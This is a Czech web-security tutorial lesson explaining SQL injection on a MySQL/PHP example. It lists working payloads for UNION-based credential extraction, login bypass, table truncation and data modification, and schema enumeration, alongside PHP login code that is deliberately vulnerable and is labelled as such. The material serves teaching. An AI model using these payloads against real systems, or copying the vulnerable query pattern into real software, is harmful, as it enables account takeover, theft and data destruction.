Vydělávej až 160.000 Kč měsíčně! Akreditované rekvalifikační kurzy s garancí práce od 0 Kč. Více informací.
Hledáme nové posily do ITnetwork týmu. Podívej se na volné pozice a přidej se do nejagilnější firmy na trhu - Více informací.

Lekce 2 - Technika útoku SQL injection

V předchozí lekci, Úvod do bezpečnosti webových aplikací, jsme se dozvěděli, co si pod pojmem webová aplikace představit, také jsme si představili princip fungování třívrstvé architektury a také aplikační vrstvu. Známe také Web application firewall, nástroj který chrání aplikační vrstvu aplikace.

V další lekci kurzu bezpečnost webových aplikací se seznámíme s útokem SQL injection, což je útok, při kterém útočník upraví SQL dotaz ve svůj prospěch. Nejčastěji se používá u dotazů typu SELECT, UPDATE, INSERT či DELETE a podmínky WHERE. V příkladech využijeme databázi MySQL.

SQL injection

SQL injection je typ útoku, který napadá databázovou vrstvu vsunutím (odtud slovo injection) kódu přes neošetřený vstup. S pomocí takto vsunutého kódu může útočník získat citlivé osobní informace, jako například číslo kreditní karty nebo přihlašovací údaje. Také může databázi poškodit smazáním dat, dokonce může databázi upravit ve svůj prospěch. Jak se v dnešní lekci dozvíme, toto nezamyšlené chování vzniká při propojení prezentační a datové vrstvy aplikace.

Útok SQL injection si můžeme rozdělit do několika kategorií:

  • Útok využívající spojení více tabulek
  • Útok obcházející aplikační logiku
  • Útok pozměňující databázi
  • Útok, při kterém útočník získá obecné informace o struktuře databáze

Obecně se při SQL injection útocích využívají speciální znaky. Pro SQL databáze jsou to například znaky:

  • apostrof / uvozovky - ohraničení řetězce
  • pomlčka - dvě pomlčky znamenají komentář (jako např. v PHP dvě lomítka)
  • středník - středník znamená konec příkazu

Útok využívající spojení více tabulek

Útok využívá spojení více tabulek v případě, že je výsledek databázového dotazu vracen přímo do prezentační vrstvy. Jako příklad si můžeme uvést e-shop. Je pravděpodobné, že bude aplikace náchylná vůči tomuto typu útoku. Útočník využívá operátor UNION, který mu umožní zkombinovat více příkazů typu SELECT do jediného výsledku. Mějme tedy e-shop s kategorií slevy mající následující URL:

https://e-shop.cz/products?category=Slevy

Při navštívení této URL odešle aplikace dotaz do databáze v tomto tvaru:

SELECT *
FROM products
WHERE category = 'Slevy'

Za použití příkazu UNION by mohl útočník upravit URL například takto:

https://e-shop.cz/products?category=Slevy' UNION SELECT username, password FROM users--

Tato upravená URL potom spustí dotaz:

SELECT *
FROM products
WHERE category = 'Slevy'
UNION SELECT username, password
FROM users --

Výsledek tohoto dotazu potom zobrazí nejen všechny zlevněné produkty ale i všechna přihlašovací jména a hesla zákazníků. Přitom, kdyby se za komentářem -- nacházela nějaká další část dotazu, byla by vynechána.

Útok obcházející aplikační logiku

Mezi útoky obcházející aplikační logiku můžeme zařadit například takový útok, který obejde přihlašovací formulář. Uveďme si proto konkrétní příklad za použití databáze MySQL a jazyka PHP. Tento příklad použijeme i v dalších příkladech.

Mějme primitivní tabulku s uživateli:

Tabulka s uživateli - Bezpečnost webových aplikací v PHP

Vytvoříme si formulář, do kterého uživatel zadá své přihlašovací jméno a heslo:

<form method="post">
    <table>
        <tr><th><label for="name">Jméno</th></tr>
        <tr><td><input type="text" name="name" id="name" /></td></tr>

        <tr><th><label for="password">Heslo</th></tr>
        <tr><td><input type="password" name="password" id="password" /></td></tr>

        <tr><td><input type="submit" value="Přihlásit se" /></td></tr>
    </table>
</form>

Pro představu může formulář vypadat třeba takto:

přihlašovací formulář - Bezpečnost webových aplikací v PHP

Zpracování formuláře v PHP může vypadat následovně:

session_start();
$pdo = new PDO("přihlašovací údaje");

$errors = array();
if ($_POST) {
   if (empty($_POST["name"])) {
    $errors[] = "Nebylo vyplněno jméno.";
   }
   if (empty($_POST["password"])) {
    $errors[] = "Nebylo vyplněno heslo.";
   }

   if (empty($errors)) {
    $name = $_POST["name"];
    $password = hash("SHA512", $_POST["password"] . 'sůůůl');
    // Dotaz níže obsahuje nebezpečnou SQL injekci
    $idQuery = $pdo->query("
        SELECT `id`
        FROM `user`
        WHERE `name` = '{$name}' AND `password` = '{$password}'
        LIMIT 1
    ");
    $id = $idQuery->fetchColumn();

    if ($id !== FALSE) {
        $_SESSION["userId"] = $id;
        header("location:account.php");
        exit;
    } else {
        $errors[] = "Bylo zadáno špatné jméno nebo heslo.";
    }
   }
}

Po kliknutí na tlačítko Přihlásit se se odešle do databáze následující dotaz, náchylný k SQL injection útoku:

SELECT `id`
FROM `user`
WHERE `name` = 'zadaneJmeno' AND `password` = 'hashovaneHeslo'
LIMIT 1

Tento dotaz lze jednoduše upravit v útočníkův prospěch. Přidáme již známé znaky ' a -- do pole pro jméno následovně:

' OR admin = 1--

Do databáze se odešle tento upravený dotaz:

SELECT `id`
FROM `user`
WHERE `name` = '' OR admin = 1-- AND `password` = '19c44a96a09dc0088f88d...'
LIMIT 1

Díky zadanému apostrofu se ukončí řetězec u sloupce name a za ním se vloží podmínka OR admin = 1. Díky dvěma pomlčkám se zbytek dotazu považuje za komentář. Upravený dotaz vykoná následující, vyber ID z tabulky user, kde se jméno rovná prázdnému řetězci nebo admin se rovná jedné. Zbytek dotazu ignoruj. Dotaz samozřejmě vybere administrátora, za kterého aplikace útočníka následně přihlásí.

Útok pozměňující databázi

Dotazy typu SELECT nejsou jediným typem dotazů, pomocí kterých lze na zranitelnou databázi zaútočit. Dalšími častými dotazy jsou dotazy typů UPDATE, INSERT či DELETE. Vycházejme opět z příkladu s přihlašovacím formulářem. Přidáním řetězce:

'; TRUNCATE TABLE user;--

by útočník mohl tabulku users smazat. Naopak řetězcem:

' INSERT INTO user (id, name, password, admin)
VALUES ('Jan', 'Novák', '123', '1'); --

by útočník mohl do tabulky přidat záznam. S využitím příkazu UPDATE by mohl také útočník data pozměnit například pomocí následujícího řetězce:

'; UPDATE user SET password='noveHeslo' WHERE password='stareHeslo'; --

by útočník mohl změnit hesla uživatelům.

Útok, při kterém útočník získá obecné informace o struktuře databáze

V předešlých příkladech jsme si s jistotou uváděli jména sloupců, popřípadě tabulek, které chce útočník získat. Někdo by proto mohl argumentovat, že přece návštěvník nezná název naší databáze, tabulky, sloupců atd. Jenže 90 % webů má tabulku s uživateli pojmenovanou buď users, uzivatele nebo maximálně user a uzivatel. Útočník má velmi vysokou šanci, že se trefí. Navíc může útočník využít tohoto typu útoku, který je využíván pro získání obecných informací o struktuře databáze aplikace. Tento typ útoku se liší podle typu databáze. Každý typ databáze má zpravidla také jiný syntaktický zápis. Pro výše zmíněné MySQL existuje příkaz:

SELECT @@version

jehož výsledkem jsou dodatečné informace o verzi databáze. Výstup tohoto příkazu může vypadat třeba takto:

+-------------------------+
| @@version               |
+-------------------------+
| 5.7.16-0ubuntu0.16.04.1 |
+-------------------------+
1 row in set (0.00 sec)

Tento příkaz lze opět velmi snadno použít v aplikaci, která není proti SQL injection útoku chráněna, například nám již známým způsobem:

' UNION SELECT @@version--

Výsledný dotaz potom bude vypadat následovně:

SELECT `id`
FROM `user`
WHERE `name` = '' UNION SELECT @@version-- AND `password` = '19c44a96a09dc0088f88d...'
LIMIT 1

Když útočník ví, jaká verze databáze běží na datovém serveru. Poté je velmi snadné dohledat příkazy, které informují o jednotlivých tabulkách. Pro MySQL je to například příkaz SELECT * FROM INFORMATION_SCHEMA.TABLES, který vrací seznam tabulek v databázi. Jehož výstup může vypadat následovně:

|------------------------------------------------------------------------
|   TABLE_CATALOG   |   TABLE_SCHEMA   |   TABLE_NAME   |   TABLE_TYPE  |
|------------------------------------------------------------------------
|   MyDatabase      |      dbo         |      user      |   BASE TABLE  |

Z výsledku jde jasně vyčíst, že v databázi je tabulka user. S touto informací může útočník dále pracovat a použít například příkaz SELECT * FROM information_schema.columns WHERE table_name = 'user', který vypíše informace o konkrétní tabulce:

|------------------------------------------------------------------------------------------
|   TABLE_CATALOG   |   TABLE_SCHEMA   |   TABLE_NAME   |   COLUMN_NAME   |   DATA_TYPE   |
|------------------------------------------------------------------------------------------
|   MyDatabase      |      dbo         |      user      |   id            |   int         |
|   MyDatabase      |      dbo         |      user      |   name          |   varchar     |
|   MyDatabase      |      dbo         |      user      |   Password      |   char        |

Z výsledku můžeme vidět, které sloupce jakých datových typů tabulka obsahuje. To by pro dnešní lekci bylo vše :)

V další lekci, Jak se bránit proti SQL injection, si uvedeme způsoby, jak před útokem SQL injection svou aplikaci chránit.


 

Předchozí článek
Úvod do bezpečnosti webových aplikací
Všechny články v sekci
Bezpečnost webových aplikací v PHP
Přeskočit článek
(nedoporučujeme)
Jak se bránit proti SQL injection
Článek pro vás napsal Jan Hranický
Avatar
Uživatelské hodnocení:
21 hlasů
Aktivity